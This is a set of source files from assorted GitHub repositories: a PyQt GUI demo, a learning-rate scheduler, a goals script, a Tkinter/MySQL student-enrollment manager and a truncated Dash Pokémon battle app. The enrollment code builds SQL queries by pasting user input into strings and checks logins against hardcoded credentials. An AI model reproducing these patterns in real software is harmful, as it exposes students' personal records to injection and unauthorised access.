self.statusBar().showMessage('文本信息')\n\n # 添加菜单栏\n menu = self.menuBar()\n # 创建一个菜单\n file_menu = menu.addMenu('文件')\n # 创建一个行为\n new_action = QAction('新建文件', self)\n # 将行为添加到菜单\n file_menu.addAction(new_action)\n file_menu.addSeparator()\n # 更新状态栏文本\n new_action.setStatusTip('点击可以新建一个文件')\n\n edit_menu = menu.addMenu('修改')\n change_acion = QAction('设置', self)\n edit_menu.addAction(change_acion)\n\n # 创建另一个行为\n exit_action = QAction('退出', self)\n # 退出操作\n exit_action.setStatusTip(\"点击退出程序\")\n # 点击关闭应用\n exit_action.triggered.connect(self.close)\n # 设置快捷键\n exit_action.setShortcut('Ctrl+Q')\n # 添加退出行为到菜单上\n file_menu.addAction(exit_action)\n\n # 添加控件\n def add_postion_layout(self):\n label = QLabel(\"第一个标签\", self)\n\n label.move(20, 30)\n label2 = QLabel(\"第二个标签\", self)\n # height = self.menuBar().height()\n # print('height= f',height)\n button_1 = QPushButton('按钮1', self)\n button_1.move(50, 60)\n button_2 = QPushButton('按钮2', self)\n button_2.move(150, 60)\n\n button_3 = QPushButton('按钮3', self)\n\n # 创建一个网格布局对对象\n grid_layout = QGridLayout()\n\n grid_layout.addWidget(label, 0, 0)\n grid_layout.addWidget(button_1, 0, 1)\n grid_layout.addWidget(label2, 1, 0)\n grid_layout.addWidget(button_2, 1, 1)\n grid_layout.addWidget(button_3, 2, 0, 1, 5)\n\n # 设置对齐方式\n grid_layout.setAlignment(Qt.AlignTop)\n # grid_layout.setAlignment(Qt.AlignBottom)\n # grid_layout.setAlignment(Qt.AlignRight)\n\n # 创建一个窗口对象\n layout_widget = QWidget()\n layout_widget.setLayout(grid_layout)\n\n self.setCentralWidget(layout_widget)\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n gui = GUI()\n gui.show()\n sys.exit(app.exec_())\n","repo_name":"CYZZ/LearningPython-100day","sub_path":"MyGUIpy/myQTDemo4.py","file_name":"myQTDemo4.py","file_ext":"py","file_size_in_byte":3109,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23254905559","text":"from torch.optim import Optimizer\nfrom torch.optim.lr_scheduler import _LRScheduler\n\n\nclass LinearWarmup(_LRScheduler):\n def __init__(self,\n optimizer: Optimizer,\n lr: float,\n num_steps: int,\n *args,\n **kwargs):\n self._lr = lr\n self._num_steps = num_steps\n super().__init__(optimizer, *args, **kwargs)\n\n def get_lr(self):\n lr_scale = min(1.0, float(self._step_count + 1) /\n float(self._num_steps))\n lr = lr_scale * self._lr\n return [lr] * len(self.optimizer.param_groups)\n","repo_name":"thavlik/machine-learning-portfolio","sub_path":"src/linear_warmup.py","file_name":"linear_warmup.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"74562660586","text":"\"\"\"\nThe implementation of the daily script invoked by `kgx daily`.\n\"\"\"\nimport datetime\n\nfrom base import goals as goals_service\nfrom base.database import Database, Row\nfrom base.utils import KgDate\n\nMONDAY = 0\nWEDNESDAY = 2\nTHURSDAY = 3\nFRIDAY = 4\nSATURDAY = 5\nSUNDAY = 6\n\n\ndef daily_task(db: Database, date: datetime.date) -> None:\n \"\"\"\n Unconditionally runs the daily script.\n\n Unlike ``kgx daily``, this function DOES NOT check if the daily script has already\n been run. Callers of this function should generally do so themselves since running\n the daily script multiple times on the same day can cause redundant data in the\n database.\n \"\"\"\n # On the first day of the month...\n if date.day == 1:\n # ...freeze the progress of auto-progress goals.\n freeze_auto_progress_goals(db, date)\n\n create_recurring_expenses(db, date)\n\n\ndef create_recurring_expenses(db: Database, date: datetime.date) -> None:\n # Create any recurring expenses, e.g.\n # if date.day == 1:\n # db.insert(\n # \"credits\",\n # {\n # \"date_paid\": date,\n # \"date_incurred\": date,\n # \"amount\": decimal.Decimal(\"10\"),\n # \"vendor\": get_vendor(db, \"Spotify\"),\n # \"category\": get_credit_category(db, \"Recreation\", \"Music\"),\n # \"payment_method\": \"Discover\",\n # },\n # )\n pass\n\n\ndef get_vendor(db: Database, name: str) -> Row:\n vendor = db.get(\"vendors\", where=\"name = :name\", values={\"name\": name})\n if vendor is None:\n raise Exception(f\"no vendor named {name!r} found\")\n return vendor[\"id\"]\n\n\ndef get_credit_category(db: Database, category: str, subcategory: str) -> Row:\n category_row = db.get(\n \"credit_categories\",\n where=\"category = :category AND subcategory = :subcategory\",\n values={\"category\": category, \"subcategory\": subcategory},\n )\n if category_row is None:\n raise Exception(f\"category {category} / {subcategory} not found\")\n return category_row[\"id\"]\n\n\ndef freeze_auto_progress_goals(db: Database, date: datetime.date) -> None:\n last_day_of_timespan = date - datetime.timedelta(days=1)\n kg_date = KgDate(year=date.year, month=date.month, day=date.day)\n start_of_month = kg_date.minus(months=1)\n\n monthly_goals = db.select(\n \"goals\",\n where=\"timespan = 'month' AND date = :date\",\n values={\"date\": start_of_month.isoformat()},\n )\n for goal in monthly_goals:\n auto_progress = goals_service.get_auto_progress(db, last_day_of_timespan, goal)\n if auto_progress is not None:\n db.update_by_pk(\"goals\", goal[\"id\"], {\"progress\": auto_progress})\n\n if ((date.month - 1) % 3) == 0:\n start_of_quarter = kg_date.minus(months=3)\n\n quarterly_goals = db.select(\n \"goals\",\n where=\"timespan = 'quarter' AND date = :date\",\n values={\"date\": start_of_quarter.isoformat()},\n )\n for goal in quarterly_goals:\n auto_progress = goals_service.get_auto_progress(\n db, last_day_of_timespan, goal\n )\n if auto_progress is not None:\n db.update_by_pk(\"goals\", goal[\"id\"], {\"progress\": auto_progress})\n\n if date.month == 1:\n start_of_year = kg_date.minus(years=1)\n\n yearly_goals = db.select(\n \"goals\",\n where=\"timespan = 'year' AND date = :date\",\n values={\"date\": start_of_year.isoformat()},\n )\n for goal in yearly_goals:\n auto_progress = goals_service.get_auto_progress(\n db, last_day_of_timespan, goal\n )\n if auto_progress is not None:\n db.update_by_pk(\"goals\", goal[\"id\"], {\"progress\": auto_progress})\n","repo_name":"iafisher/khaganate-snapshot","sub_path":"base/daily.py","file_name":"daily.py","file_ext":"py","file_size_in_byte":3801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41818393810","text":"# Receba as tres dimensoes de um cuboide, e mostre todas as\n# coordenadas possiveis que\n# a soma não seja o valor N\n\nx = int(input())\ny = int(input())\nz = int(input())\nn = int(input())\n\nfinal = []\n\nfor i in range(x+1):\n for j in range(y+1):\n for k in range(z+1):\n if (i + j + k != n):\n final.append([i, j, k])\n\nprint(final)\n","repo_name":"pedroportilho/hacker-rank-python","sub_path":"exercises/08_list_comprehension.py","file_name":"08_list_comprehension.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17732625657","text":"from app import *\nfrom programa import login\n\n\nimport mysql.connector\nimport mysql.connector\nfrom tkinter import * \nfrom tkinter import messagebox\nfrom tkcalendar import *\n\n\nstatus1 = bool\n\nclass BancoDados():\n \n def conectar_bd(self):\n self.conexao = mysql.connector.connect(\n host='localhost',\n user='root',\n password='senha',\n database='database'\n )\n self.cursor = self.conexao.cursor()\n\n def desconectar_bd(self):\n self.cursor.close()\n self.conexao.close()\n\n def entrar(janela):\n #Dando valor as variaveis do App\n janela.usu = janela.usuario.get()\n janela.sen = janela.senha.get()\n\n #Conectando com o banco de dados\n janela.conectar_bd()\n\n #Comando SQL para buscar usuario\n janela.comando = f'SELECT * FROM login WHERE Usuario=\"{janela.usu}\" AND Senha={janela.sen}'\n janela.cursor.execute(janela.comando)\n janela.resultado = janela.cursor.fetchall()\n\n #Verificar se dados estão corretos\n try:\n if janela.resultado[0][0] != 'MAXTER' or janela.resultado[0][1] != '123456':\n print('Usuário não logado')\n elif janela.resultado[0][0] in 'MAXTER' and janela.resultado[0][1] in '123456':\n print('Usuário logado')\n global status1\n status1 = True\n # messagebox.showinfo(title='Curso maxter', message='Usuário logado')\n return status1\n except:\n status1 = False\n print(status1)\n print('Usuario não existe')\n # messagebox.showinfo(title='Curso Maxter', message='ERRO!\\nPor Favor, tente novamente')\n return status1\n \n #Fechar banco de dados\n janela.desconectar_bd()\n\n return status1\n\n def sair(self):\n\n #Comando para voltar Tela de Login\n global status\n status = False\n if status == False:\n self.destroy()\n \n def salvar(self):\n\n #Conectando com o banco de dados\n self.conectar_bd()\n\n try:\n #Comando SQL para salvar dados usuario\n self.comando = f'''INSERT INTO cadastro1 (duracao_inicio, duracao_fim, curso, turno, escola, \n nome_aluno, data_nascimento, cpf, identidade,\n estado_civil, email, celular,\n cep, endereço, bairro, cidade,\n pai, mae,\n nome_responsavel, email_responsavel, cpf_responsavel, identidade_responsavel, celular_responsavel,\n valor_total, taxa_matricula, plano_1, plano_2, atual) \n VALUES (\"{self.duracao_inicio.get()}\", \"{self.duracao_fim.get()}\", \"{self.curso.get()}\", \"{self.turno.get()}\", \"{self.escola.get()}\",\n \"{self.nome_aluno.get()}\", \"{self.data_nascimento.get()}\", \"{self.cpf_aluno.get()}\", \"{self.identidade_aluno.get()}\",\n \"{self.estado_civil.get()}\", \"{self.email_aluno.get()}\", \"{self.celular_aluno.get()}\",\n \"{self.cep.get()}\", \"{self.endereco.get()}\", \"{self.bairro.get()}\", \"{self.cidade.get()}\", \n \"{self.pai.get()}\", \"{self.mae.get()}\",\n \"{self.nome_responsavel.get()}\", \"{self.email_responsavel.get()}\", \"{self.cpf_responsavel.get()}\", \"{self.identidade_responsavel.get()}\", \"{self.celular_responsavel.get()}\",\n \"{self.valor_total.get()}\", \"{self.taxa_matricula.get()}\", \"{self.plano_1.get()}\", \"{self.plano_2.get()}\", \"1\")'''\n self.cursor.execute(self.comando)\n self.conexao.commit()\n messagebox.showinfo('Curso Maxter', 'Aluno salvo com sucesso.')\n except:\n messagebox.showerror('Curso Maxter', 'ERRO!\\nNão foi possivel salvar dados.')\n\n #Fechar banco de dados\n self.desconectar_bd()\n\n def atualizar(self):\n\n #Conectando com o banco de dados\n self.conectar_bd()\n\n # try:\n # #Comando SQL para buscar ID usuario\n # self.comando = f'SELECT * FROM cadastro1 WHERE nome_aluno = \"{self.nome_aluno.get()}\" '\n # self.cursor.execute(self.comando)\n # self.resultado = self.cursor.fetchall()\n\n # self.id = self.resultado[0][0]\n # except:\n # messagebox.showerror('Curso Maxter', 'ERRO!\\nNão foi possivel buscar aluno.')\n\n\n try:\n #Comandos SQL para atualizar dados usuario\n self.comando = f'''\n UPDATE cadastro1\n SET duracao_inicio = \"{self.duracao_inicio.get()}\", duracao_fim = \"{self.duracao_fim.get()}\", curso = \"{self.curso.get()}\", turno = \"{self.turno.get()}\", escola = \"{self.escola.get()}\",\n nome_aluno = \"{self.nome_aluno.get()}\", data_nascimento = \"{self.data_nascimento.get()}\", cpf = \"{self.cpf_aluno.get()}\", identidade = \"{self.identidade_aluno.get()}\",\n estado_civil = \"{self.estado_civil.get()}\", email = \"{self.email_aluno.get()}\", celular = \"{self.celular_aluno.get()}\", \n cep = \"{self.cep.get()}\", endereço = \"{self.endereco.get()}\", bairro = \"{self.bairro.get()}\", cidade = \"{self.cidade.get()}\",\n pai = \"{self.pai.get()}\", mae = \"{self.mae.get()}\", \n nome_responsavel = \"{self.nome_responsavel.get()}\", email_responsavel = \"{self.email_responsavel.get()}\", cpf_responsavel = \"{self.cpf_responsavel.get()}\", identidade_responsavel = \"{self.identidade_responsavel.get()}\", celular_responsavel = \"{self.celular_responsavel.get()}\",\n valor_total = \"{self.valor_total.get()}\", taxa_matricula = \"{self.taxa_matricula.get()}\", plano_1 = \"{self.plano_1.get()}\", plano_2 = \"{self.plano_2.get()}\"\n WHERE nome_aluno = \"{self.nome_aluno.get()}\" or cpf = \"{self.cpf_aluno.get()}\" '''\n self.cursor.execute(self.comando)\n self.conexao.commit()\n messagebox.showinfo('Curso Maxter', 'Aluno atualizado com sucesso.')\n except:\n messagebox.showerror('Curso Maxter', 'ERRO!\\nNão foi possivel achar usuario.')\n\n #Fechar banco de dados\n self.desconectar_bd()\n\n\n def mudarStatus(self):\n\n #Conectando com o banco de dados\n self.conectar_bd()\n\n try:\n #Comandos SQL para atualizar dados usuario\n self.comando = f'''\n UPDATE cadastro1\n SET status = \"NÃO PAGO\" \n WHERE id >= 0'''\n self.cursor.execute(self.comando)\n self.conexao.commit()\n except:\n messagebox.showerror('Curso Maxter', 'ERRO!\\nNão foi possivel Atualizar Status.')\n\n #Fechar banco de dados\n self.desconectar_bd()\n\n\n def buscar(self):\n\n #Conectando com o banco de dados\n self.conectar_bd()\n\n try:\n #Comando SQL para buscar usuario\n self.comando = f'SELECT * FROM cadastro1 WHERE nome_aluno = \"{self.nome_busca.get()}\" OR cpf = \"{self.cpf_busca.get()}\" '\n self.cursor.execute(self.comando)\n self.resultado = self.cursor.fetchall()\n\n #Preenchendo campos com os dados BD\n self.id.insert(0, self.resultado[0][0])\n self.duracao_inicio.insert(0, self.resultado[0][1])\n self.duracao_fim.set(self.resultado[0][2])\n self.curso.set(self.resultado[0][3])\n self.turno.set(self.resultado[0][4])\n self.escola.insert(0, self.resultado[0][5])\n self.nome_aluno.insert(0, self.resultado[0][6])\n self.data_nascimento.insert(0, self.resultado[0][7])\n self.cpf_aluno.insert(0, self.resultado[0][8])\n self.identidade_aluno.insert(0, self.resultado[0][9])\n self.estado_civil.set(self.resultado[0][10])\n self.email_aluno.insert(0, self.resultado[0][11])\n self.celular_aluno.insert(0, self.resultado[0][12])\n self.cep.insert(0, self.resultado[0][13])\n self.endereco.insert(0, self.resultado[0][14])\n self.bairro.insert(0, self.resultado[0][15])\n self.cidade.insert(0, self.resultado[0][16])\n self.pai.insert(0, self.resultado[0][17])\n self.mae.insert(0, self.resultado[0][18])\n self.nome_responsavel.insert(0, self.resultado[0][19])\n self.email_responsavel.insert(0, self.resultado[0][20])\n self.cpf_responsavel.insert(0, self.resultado[0][21])\n self.identidade_responsavel.insert(0, self.resultado[0][22])\n self.celular_responsavel.insert(0, self.resultado[0][23])\n except:\n messagebox.showerror('Curso Maxter', 'ERRO!\\nNão foi possivel buscar aluno.')\n\n\n #Fechar banco de dados\n self.desconectar_bd()\n\n\n def buscarAluno(self):\n\n #Conectando com o banco de dados\n self.conectar_bd()\n\n print(self.nome_busca.get())\n\n try:\n #Comando SQL para buscar usuario\n self.comando = f'SELECT * FROM cadastro1 WHERE nome_aluno = \"{self.nome_busca.get()}\" OR cpf = \"{self.cpf_busca.get()}\" '\n self.cursor.execute(self.comando)\n self.resultado = self.cursor.fetchall()\n print(self.nome_busca.get())\n #Pegar curso do aluno\n curso = self.resultado[0][3]\n print(curso)\n\n if 'CEFET' in curso:\n #Preenchendo campos com os dados BD\n self.lb_id_aluno_cefet.set(self.resultado[0][0])\n self.lb_curso_aluno_cefet.set(self.resultado[0][3])\n self.lb_turno_aluno_cefet.set(self.resultado[0][4])\n self.lb_escola_aluno_cefet.set(self.resultado[0][5])\n self.lb_nome_aluno_cefet.set(self.resultado[0][6])\n self.lb_cpf_aluno_cefet.set(self.resultado[0][8])\n self.lb_nome_responsavel_cefet.set(self.resultado[0][19])\n self.mensalidade = self.resultado[0][27]\n self.mensalidade = f'{self.mensalidade[14:]}'\n self.mensalidade = self.mensalidade.strip()\n self.lb_mensalidade_aluno_cefet.set(self.mensalidade)\n self.lb_forma_pagamento_aluno_cefet.set(self.resultado[0][29])\n self.lb_status_aluno.set(self.resultado[0][30]) \n else:\n self.lb_id_aluno_enem.set(self.resultado[0][0])\n self.lb_curso_aluno_enem.set(self.resultado[0][3])\n self.lb_turno_aluno_enem.set(self.resultado[0][4])\n self.lb_escola_aluno_enem.set(self.resultado[0][5])\n self.lb_nome_aluno_enem.set(self.resultado[0][6])\n self.lb_cpf_aluno_enem.set(self.resultado[0][8])\n self.lb_nome_responsavel_enem.set(self.resultado[0][19])\n self.mensalidade = self.resultado[0][27]\n self.mensalidade = f'{self.mensalidade[14:]}'\n self.mensalidade = self.mensalidade.strip()\n self.lb_mensalidade_aluno_enem.set(self.mensalidade)\n self.lb_forma_pagamento_aluno_enem.set(self.resultado[0][29])\n self.lb_status_aluno.set(self.resultado[0][30])\n except:\n messagebox.showerror('Curso Maxter', 'ERRO!\\nNão foi possivel buscar aluno.')\n\n\n #Fechar banco de dados\n self.desconectar_bd()\n\n\n def buscarUltimoMesPago(self):\n\n #Conectando com o banco de dados\n self.conectar_bd()\n\n print(self.nome_busca.get())\n\n try:\n #Comando SQL para buscar usuario\n self.comando = f'SELECT * FROM cadastro1 WHERE nome_aluno = \"{self.nome_busca.get()}\" OR cpf = \"{self.cpf_busca.get()}\" '\n self.cursor.execute(self.comando)\n self.resultado = self.cursor.fetchall()\n print(self.nome_busca.get())\n\n #Preenchendo campos com os dados BD\n self.mes = self.resultado[0][28]\n\n return self.mes\n\n except:\n messagebox.showerror('Curso Maxter', 'ERRO!\\nNão foi possivel buscar aluno.')\n\n\n #Fechar banco de dados\n self.desconectar_bd()\n\n\n def buscarAlunoNaoPago(self):\n\n #Conectando com o banco de dados\n self.conectar_bd()\n\n try:\n #Comando SQL para buscar usuario\n self.comando = f'SELECT id, nome_aluno, curso, plano_2 FROM cursomaxter.cadastro1 WHERE status = \"NÃO PAGO\" AND atual = \"1\"; '\n self.cursor.execute(self.comando)\n self.resultado = self.cursor.fetchall()\n\n self.listaAlunoNaoPago = []\n\n #Preenchendo campos com os dados BD\n for i in self.resultado:\n print(i)\n self.listaAlunoNaoPago.append(i)\n\n print(self.listaAlunoNaoPago)\n \n return self.listaAlunoNaoPago\n\n except:\n messagebox.showerror('Curso Maxter', 'ERRO!\\nNão foi possivel buscar aluno.')\n\n\n #Fechar banco de dados\n self.desconectar_bd()","repo_name":"lucasaaz/Programa_Interface_Grafica_Python","sub_path":"programa/bancoDados.py","file_name":"bancoDados.py","file_ext":"py","file_size_in_byte":13722,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39547855759","text":"from dash import html, dcc, State\nimport dash_bootstrap_components as dbc\nfrom dash.dependencies import Input, Output\nfrom app import app\nfrom pages import poke_choose, battle_page, create_poke\nfrom components import navbar\nfrom pokemon import Pokemon\nfrom battle import game_round\nfrom driver import moves, pokemons, add_poke\n\n\n# Define the navbar\nnav = navbar.Navbar()\n\n# Define the index page layout\napp.layout = html.Div([\n # placeholder\n html.Div(id='hidden-div', style={'display': 'none'}),\n\n # stored values\n dcc.Store(id='error', data=False),\n dcc.Store(id=\"player-pokemon\", storage_type=\"session\"),\n dcc.Store(id=\"player-moves\", storage_type=\"session\"),\n dcc.Store(id=\"opponent-pokemon\", storage_type=\"session\"),\n dcc.Store(id=\"won\", data=False, storage_type=\"session\"),\n dcc.Store(id=\"winner\", data='', storage_type=\"session\"),\n dcc.Store(id=\"start-stats\", data=None, storage_type=\"session\"),\n\n dcc.Location(id='url', refresh=False),\n nav,\n html.Div(id='page-content', children=[]),\n\n # selection error for game start\n dbc.Modal([\n dbc.ModalHeader(\n dbc.ModalTitle(\"Invalid Selection\")\n ),\n dbc.ModalBody(children='Too many moves selected', id='error-message'),\n dbc.ModalFooter()], id='select-error', is_open=False)\n], style={'backgroundColor': '#fcfcfc', 'color': '#414141'})\n\n\n@app.callback(Output('page-content', 'children'),\n Input('url', 'pathname')\n)\ndef display_page(pathname):\n \"\"\"\n define page layout based on page url\n \"\"\"\n if pathname == '/':\n return poke_choose.layout\n if pathname == '/battle':\n return battle_page.layout\n if pathname == '/create':\n return create_poke.layout\n else: # if redirected to unknown link\n return \"404 Page Error! Please choose a link\"\n\n\n@app.callback(\n Output('move-options', 'options'),\n Input('pokemon-options', 'value'),\n prevent_initial_call=True\n)\ndef get_move_options(chosen):\n \"\"\"\n display moveset for chosen pokemon\n :param chosen: name of chosen pokemon\n :return: moveset to display\n \"\"\"\n options = []\n if chosen:\n for move in pokemons[chosen].moveset:\n options.append(moves[move].name)\n\n return options\n\n\n@app.callback(\n Output('move-options', 'value'),\n Input('pokemon-options', 'value'),\n prevent_initial_call=True\n)\ndef reset_move_options(chosen):\n \"\"\" reset chosen moves on new pokemon select \"\"\"\n return []\n\n\n# TODO: add stats\n@app.callback(\n Output('select-img', 'src'),\n Input('pokemon-options', 'value'),\n prevent_initial_call=True\n)\ndef select_stats(chosen):\n \"\"\" get image and stats for pokemon when clicked on select screen\"\"\"\n return pokemons[chosen].picture\n\n\n@app.callback(\n [Output('poke-types', 'children'),\n Output('poke-hp', 'children'),\n Output('poke-speed', 'children'),\n Output('poke-attack', 'children'),\n Output('poke-defense', 'children'),\n Output('poke-spattack', 'children'),\n Output('poke-spdefense', 'children')],\n Input('pokemon-options', 'value'),\n prevent_initial_call=True\n)\ndef select_page_stats(poke):\n \"\"\" gets stats for current selected pokemon on select page \"\"\"\n pokemon = pokemons[poke]\n\n return 'Types: ' + '/'.join(pokemon.types), 'hP: ' + str(pokemon.health), 'Speed: ' + str(pokemon.speed), \\\n 'Attack: ' + str(pokemon.attack), 'Defense: ' + str(pokemon.defense), \\\n 'Special Attack: ' + str(pokemon.spattack), 'Special Defense: ' + str(pokemon.spdefense)\n\n\n@app.callback(\n [Output('player-pokemon', 'data'),\n Output('player-moves', 'data')],\n [Input('start-game-button', 'n_clicks'),\n Input('pokemon-options', 'value'),\n Input('move-options', 'value')],\n prevent_initial_call=True\n)\ndef pokemon_chosen(started, poke_choice, moves_choice):\n \"\"\"\n store selected pokemon and moveset for game play\n :param started: int; signifies start game button clicked\n :param poke_choice: str; selected pokemon\n :param moves_choice: lst; selected moves\n :return:\n \"\"\"\n if started:\n return poke_choice, moves_choice\n\n return None, None\n\n\n@app.callback(\n Output('opponent-pokemon', 'data'),\n Input('player-pokemon', 'data'),\n prevent_initial_call=True\n)\ndef get_opponent(player):\n \"\"\" get opponent on game start \"\"\"\n if player:\n return pokemons[player].random_opp(pokemons).name\n\n return None\n\n\n@app.callback(\n [Output('start-game-button', 'disabled'),\n Output('select-error', 'is_open')],\n Input('move-options', 'value'),\n prevent_initial_call=True\n)\ndef enable_start(moves_chosen):\n \"\"\"\n enable start button if choices are valid\n :param moves_chosen: lst; moves selected\n :return: - if start game button is disabled\n - if error modal is open\n \"\"\"\n if moves_chosen and len(moves_chosen) > 4:\n return True, True\n elif moves_chosen:\n return False, False\n\n return True, False\n\n\n@app.callback(\n [Output('opponent-name', 'children'),\n Output('player-name', 'children'),\n Output('move-header', 'children')],\n [Input('player-pokemon', 'data'),\n Input('opponent-pokemon', 'data')]\n)\ndef add_names(player_name, opp_name):\n \"\"\" places selected pokemon names in interface page \"\"\"\n return opp_name, player_name, f'What will {player_name} do?'\n\n\n@app.callback(\n Output('start-stats', 'data'),\n [Input('player-pokemon', 'data'),\n Input('opponent-pokemon', 'data')],\n prevent_initial_call=True\n)\ndef save_orig(play_name, opp_name):\n \"\"\" Saves the original stats of the pokemon and opponent\n :param play_name: pokemon object; player's chosen pokemon\n :param opp_name: pokemon object; opponent's pokemon\n \"\"\"\n if play_name and opp_name:\n player = pokemons[play_name]\n opp = pokemons[opp_name]\n return {\"player\": [player.attack, player.defense, player.spattack, player.spdefense, player.speed],\n \"opponent\": [opp.attack, opp.defense, opp.spattack, opp.spdefense, opp.speed]}\n \n return {}\n\n\n# TODO: opponent sprite\n@app.callback(\n [Output('player-sprite', 'src'),\n Output('opponent-sprite', 'src')],\n [Input('player-pokemon', 'data'),\n Input('opponent-pokemon', 'data')]\n)\ndef get_sprites(player_name, opp_name):\n \"\"\" places selected pokemon sprites in interface page \"\"\"\n return pokemons[player_name].picture, pokemons[opp_name].picture\n\n\n@app.callback(\n [Output('player-describe', 'children'),\n Output('player-types', 'children'),\n Output('player-hp', 'children'),\n Output('player-status', 'children'),\n Output('player-speed', 'children'),\n Output('player-attack', 'children'),\n Output('player-defense', 'children'),\n Output('player-spattack', 'children'),\n Output('player-spdefense', 'children')],\n [Input('player-pokemon', 'data'),\n Input('game-log', 'children')],\n prevent_initial_call=True\n)\ndef player_stat_box(player_name, log):\n \"\"\"\n get player pokemon description to display\n Args:\n player_name: player pokemon\n log: current game history (will cause to update as rounds are played)\n\n Returns: player stats to display\n\n \"\"\"\n pokemon = pokemons[player_name]\n status = 'None'\n\n # display health as pos\n if pokemon.health > 0:\n health = pokemon.health\n else:\n health = 0\n\n # check for status effects\n if list(pokemon.start_status.keys()) + list(pokemon.end_status.keys()):\n ls = list(pokemon.start_status.keys()) + list(pokemon.end_status.keys())\n status = ls[0]\n\n return player_name, '/'.join(pokemon.types), 'hP: ' + str(health), 'Status Condition: ' + status, \\\n 'Speed: ' + str(pokemon.speed), 'Attack: ' + str(pokemon.attack), 'Defense: ' + str(pokemon.defense), \\\n 'Special Attack: ' + str(pokemon.spattack), 'Special Defense: ' + str(pokemon.spdefense)\n\n\n@app.callback(\n [Output('opp-describe', 'children'),\n Output('opp-types', 'children'),\n Output('opp-hp', 'children'),\n Output('opp-status', 'children'),\n Output('opp-speed', 'children'),\n Output('opp-attack', 'children'),\n Output('opp-defense', 'children'),\n Output('opp-spattack', 'children'),\n Output('opp-spdefense', 'children')],\n [Input('opponent-pokemon', 'data'),\n Input('game-log', 'children')],\n prevent_initial_call=True\n)\ndef opp_stat_box(opp_name, log):\n \"\"\"\n get opponent pokemon description to display\n Args:\n opp_name: opponent pokemon\n log: current game history (will cause to update as rounds are played)\n\n Returns: opponent stats to display\n \"\"\"\n pokemon = pokemons[opp_name]\n status = 'None'\n\n # display health as pos\n if pokemon.health > 0:\n health = pokemon.health\n else:\n health = 0\n\n if list(pokemon.start_status.keys()) + list(pokemon.end_status.keys()):\n ls = list(pokemon.start_status.keys()) + list(pokemon.end_status.keys())\n status = ls[0]\n\n return opp_name, '/'.join(pokemon.types), 'hP: ' + str(health), 'Status Condition: ' + status, \\\n 'Speed: ' + str(pokemon.speed), 'Attack: ' + str(pokemon.attack), 'Defense: ' + str(pokemon.defense), \\\n 'Special Attack: ' + str(pokemon.spattack), 'Special Defense: ' + str(pokemon.spdefense)\n\n\n@app.callback(\n [Output('move-1', 'children'),\n Output('move-2', 'children'),\n Output('move-3', 'children'),\n Output('move-4', 'children'),\n Output('move-1', 'title'),\n Output('move-2', 'title'),\n Output('move-3', 'title'),\n Output('move-4', 'title'),],\n Input('player-moves', 'data')\n)\ndef get_moves(moves_chosen):\n \"\"\" places selected pokemon moves in interface page \"\"\"\n\n # number of missing moves\n blank = 4 - len(moves_chosen)\n\n moves_chosen = moves_chosen + ['NO MOVE'] * blank\n return moves_chosen + [moves[_.lower()].desc if _ != 'NO MOVE' else None for _ in moves_chosen]\n\n\n@app.callback(\n [Output('move-1', 'disabled'),\n Output('move-2', 'disabled'),\n Output('move-3', 'disabled'),\n Output('move-4', 'disabled')],\n [Input('move-1', 'disabled'),\n Input('move-2', 'children'),\n Input('move-3', 'children'),\n Input('move-4', 'children'),\n Input('won', 'data')]\n)\ndef disable_moves(move1, move2, move3, move4, won):\n \"\"\" disable inactive moves (when less than 4 moves have been selected) \"\"\"\n if won:\n return [True] * 4\n\n return [True if move == 'NO MOVE' else False for move in [move1, move2, move3, move4]]\n\n@app.callback(\n [Output('create_name', 'value'),\n Output('create_type', 'value'),\n Output('create_health', 'value'),\n Output('create_attack', 'value'),\n Output('create_defense', 'value'),\n Output('create_spattack', 'value'),\n Output('create_spdefense', 'value'),\n Output('create_speed', 'value'),\n Output('create_moves', 'value'),\n Output('create_image', 'value')],\n [Input('submitted', 'n_clicks')],\n [State('create_name', 'value'),\n State('create_type', 'value'),\n State('create_health', 'value'),\n State('create_attack', 'value'),\n State('create_defense', 'value'),\n State('create_spattack', 'value'),\n State('create_spdefense', 'value'),\n State('create_speed', 'value'),\n State('create_moves', 'value'),\n State('create_image', 'value')],\n prevent_initial_call=True\n)\ndef create_pokemon(submit, name, types, health, att, defe, spat, spdef, speed, moveset, img):\n \"\"\" in progress : adds user created pokemon to the game \"\"\"\n if submit:\n if name not in pokemons:\n new_poke = Pokemon(name, types, health, att, defe, spat, spdef, speed, img, moveset)\n # pokemons[new_poke.name] = new_poke\n add_poke(new_poke)\n print(pokemons)\n\n return '', [], '', '', '', '', '', '', [], ''\n\n\n@app.callback(\n Output('pokemon-options', 'options'),\n Input('new-game-button', 'n_clicks')\n)\ndef new_poke_added(new):\n print('new!', pokemons)\n return [{'label': [html.Img(src=pokemon.picture, style={'height': '70px'}),\n\t\t\t\t\t\thtml.Span(name)],\n\t\t\t'value': name} for name, pokemon in pokemons.items()]\n\n\n@app.callback(\n [Output('won', 'data'),\n Output('winner', 'data'),\n Output('player-hp-bar', 'style'),\n Output('opp-hp-bar', 'style'),\n Output('game-log', 'children')],\n [Input('move-1', 'n_clicks_timestamp'),\n Input('move-2', 'n_clicks_timestamp'),\n Input('move-3', 'n_clicks_timestamp'),\n Input('move-4', 'n_clicks_timestamp')],\n [State('player-pokemon', 'data'),\n State('opponent-pokemon', 'data'),\n State('player-moves', 'data'),\n State('game-log', 'children')],\n prevent_initial_call=True\n)\ndef play_round(m1, m2, m3, m4, player, opp, moveset, curr_log):\n \"\"\"\n runs a battle round\n Args:\n m1-4: Move object; move 1 through 4 of the pokemon played\n player: pokemon object; player's pokemon\n opp: pokemon object; opponent's pokemon\n moveset: list of str; moves that player's pokemon can learn\n curr_log:\n\n Returns: won, winner: to check if game has been won and by who\n player-hp-bar, opp-hp-bar, game-log: stats to display on dash interface\n\n \"\"\"\n if m1 or m2 or m3 or m4:\n won = False\n winner = ''\n opp_move = pokemons[opp].choose_random_move().lower()\n\n # get chosen move\n click_times = [m1, m2, m3, m4]\n move_index = click_times.index(max(click_times))\n move_chosen = 